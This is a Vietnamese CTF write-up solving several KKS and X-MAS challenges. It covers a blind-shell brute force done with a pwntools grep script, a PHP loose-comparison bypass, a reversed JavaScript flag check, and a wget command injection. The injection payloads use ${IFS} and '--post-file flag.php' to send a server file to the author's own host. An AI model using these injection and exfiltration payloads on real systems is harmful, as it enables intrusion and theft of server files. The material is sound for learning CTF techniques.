writeup
Search…
⌃K

kks-xmaxctf

**kks:
ở giải này mình không solve được bài web nào , nên mình chuyển sang bài này
blind shell
đọc đề ta sẽ đoán được đây là 1 dạng shell không có output, người chơi hệ web như mình cũng khá quen với các dạng bài blind nên solve bài này cũng không khó đối với mình. bài này sẽ cần 1 chút kiến thức về linux
đầu tiên ta sẽ thử nghiệm mình có gì
mọi cmd của mình để được trả ra bởi 2 từ là success hoặc failed, mình không thể sử dụng reverse shell vì mọi thứ có thể dùng để làm reverse shell đề bị vô hiệu hóa. tiếp theo mình tắt nc và tiếp tục debug ở máy ubuntu của mình
ở lần thử trước ta đã biết nếu lệnh thực thi thành công nó sẽ trả về success và ngược lại
vậy ta sẽ sử dụng grep để blind dựa vào regex để brute contents
ban đầu mình brute bằng tay do không biết pwntools, vì mình chơi hệ web, sau đó được a lớn nhắc nhở bắt mình code để brute,
mình code đơn giản như sau để brute số lượng chữ có trong file
from pwn import *
conn = remote('tasks.kksctf.ru','30010')
flag=""
for i in range(50):
#print(i)
cmd="cat flag.txt|wc -c|grep ^"+str(i)
conn.send(cmd.encode())
r=conn.recvline()
if "Success" in r.decode():
print(i)
# break
kết quả
vậy trong file flag.txt có 23 ký tự, mình bắt đầu brute content bên trong
from pwn import *
import string
conn = remote('tasks.kksctf.ru','30010')
flag=""
cc=""
a="1234567890=>[email protected][\]^_`abcdefghijklmnopqrstuvwxyz{|}~⌂"
a+="."
for i in range(50):
print(i)
for j in a:
#print(j)
cmd="cat flag.txt|grep ^"+cc+(j)
conn.send(cmd.encode())
r=conn.recvline()
if "Success" in r.decode():
cc+= (j)
print(cc)
break
theo như mình brute được thì đây chắc là file fake flag, tiếp theo mình quay trở lại máy ubuntu debug lại tiếp
mình dùng cách này để kiểm tra xem có bao nhiêu thư mục và file ở trong thư mục hiện tại, sửa payload cmd ở file đầu tiên thành
ls|wc -l|grep ^blabla
quay loại brute nội dung của lệnh ls thôi, nhưng mà mình có 1 vấn đề là vì output lệnh ls có chưa newline nên mình khó lòng cho nó vào regex được, nên mình quyết định brute từng line
payload của mình sẽ tương tự như thế này
brute dòng tiếp theo thì ta sẽ sử dụng thêm lệnh tail
oke vậy đã rõ, ta tiếp tục chơi blind thôi
sau một lúc brute thì ta có cấu trúc cây thư mực như sau
flag.txt,maybehere và server.py
flag.txt mình đã brute trước đó, mình cũng không rảnh brute file source làm gì, nên mình đoán ngay maybehere là 1 thư mục và bên trong chứa file flag.txt
thôi khỏi đoán mình cầm vào server test luôn
tiếp theo ta brute content trong file và lấy flag thôi
flag: kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}
**x-mas:
PHP-Master
vào bài ta có source code, bài này khá dễ nhưng cũng ngốn của mình khá nhiều thời gian, vì mình bị cuốn vào bypass các điều kiện
<?php
include('flag.php');
$p1 = $_GET['param1'];
$p2 = $_GET['param2'];
if(!isset($p1) || !isset($p2)) {
highlight_file(__FILE__);
die();
}
if(strpos($p1, 'e') === false && strpos($p2, 'e') === false && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) {
die($flag);
}
?>
từ đề ta thấy, chỉ cần vượt qua điều kiện, p1 và p2 ko chưa e và ko bắt đầu là số 0, đồng thời p1 phải khác p2 và p1 cũng giống p2 lol
ta để ý thấy ý của đề là chống mình sử dụng magic hash để bypass ==, vậy ta sử dụng fload để bypass bài này
vậy 1.99999999999999==2, vật ta chỉ cần chỉnh lại cho len p1 bằng p2 là ta có flag
console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n", "color: #5cdb95");
console.log("🐢 Javascript Challenge 🐢");
console.log("Call win(<string>) with the correct parameter to get the flag");
console.log("And don't forget to subscribe to our newsletter :D");
function check(s) {
const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";
const k1 = atob(k).split('').reverse().join('');
return bobify(s) === k1;
}
function bobify(s) {
if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z'))
return "[REDACTED]";
const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
const s2 = encodeURI(s1).split('').map(c=>c.charCodeAt(0)).join('|');
const s3 = btoa("[email protected]\xc0\t1\x03\xd3M4" + s2);
return s3;
}
function win(x) {
return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";
}
về cơ bản chương trình nhận input người dùng rồi sau đó đi qua hàm bobify và so sánh với k1 nếu đúng thì trả ra flag, tức nhiệm vụ của mình sẽ đi tìm string đúng cũng đồng thời là flag
ta có chuỗi mã hóa cuối cùng là k1, ra sẽ đi từ cuối trở lại để tìm lại flag
ta có chuỗi số được ngăn cách bởi | vậy ta sẽ remove nó và chuyển nó thành ascii sau đó ta sẽ có chuỗi urlencode
decode url ta được chuỗi sau
s[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t
ta tiếp tục split [] => santazwisheszy0uzcraciunzfericit
chuỗi flag ban đầu sẽ được replace bởi đoạn sau const s1=s.replace(/4/g,'a').replace(/3/g,'e').replace(/1/g,'i').replace(/7/g,'t').replace(/_/g,'z').
vậy ta sẽ replace ngược lại ta sẽ ra flag: s4n74_w1sh3s_y0u_cr4c1un_f3r1c17
tiếp tục là 1 bài php, ta có source như sau:
<?php
/* flag_checker */
include('flag.php');
if(!isset($_GET['flag'])) {
highlight_file(__FILE__);
die();
}
function checkFlag($flag) {
$example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}');
$valid = true;
for($i = 0; $i < strlen($flag) && $valid; $i++)
if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false;
return $valid;
}
function getFlag($flag) {
$command = "wget -q -O - https://kuhi.to/flag/" . $flag;
$cmd_output = array();
exec($command, $cmd_output);
if(count($cmd_output) == 0) {
echo 'Nope';
} else {
echo 'Maybe';
}
}
$flag = $_GET['flag'];
if(!checkFlag($flag)) {
die('That is not a correct flag!');
}
getFlag($flag);
?>
input của mình sẽ được đưa vào hàm checkflag, nếu input của mình có chưa các ký tự không ở trong fake flag thì sẽ ko thể thực hiện bước tiếp theo là hàm getflag
ở hàm get flag ta sẽ wget tới 1 url+input của mình, nhiệm vụ đã rõ, bài này là command injection
nhìn lại các ký tự được phép, ta có ${}- => ta có thể sử dụng ${IFS} để bypass space, input của mình truyền vào server như sau
flag=${IFS}ur_ip
tiếp theo ta cần đọc file flag.php
sau 1 lúc gg thì mình tìm ra option wget with file
flag=${IFS}--post-file${IFS}flag.php${IFS}urip
lưu ý mình lắng nghe ở cổng 80 vì trong các ký tự được phép thì không có ":"
Last modified 1yr ago